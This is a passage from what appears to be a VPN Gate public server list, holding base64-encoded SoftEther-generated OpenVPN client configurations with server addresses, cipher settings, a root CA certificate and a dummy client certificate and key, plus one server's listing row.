IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTkuMTc1LjEzOC4xMTMgMTk5Mw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn222647392,219.62.60.95,885424,3,956957467,Japan,JP,53,181947195,45812,13755040353413,2weeks,86AMAAH22's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuNjIuNjAuOTUgMTgzNQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb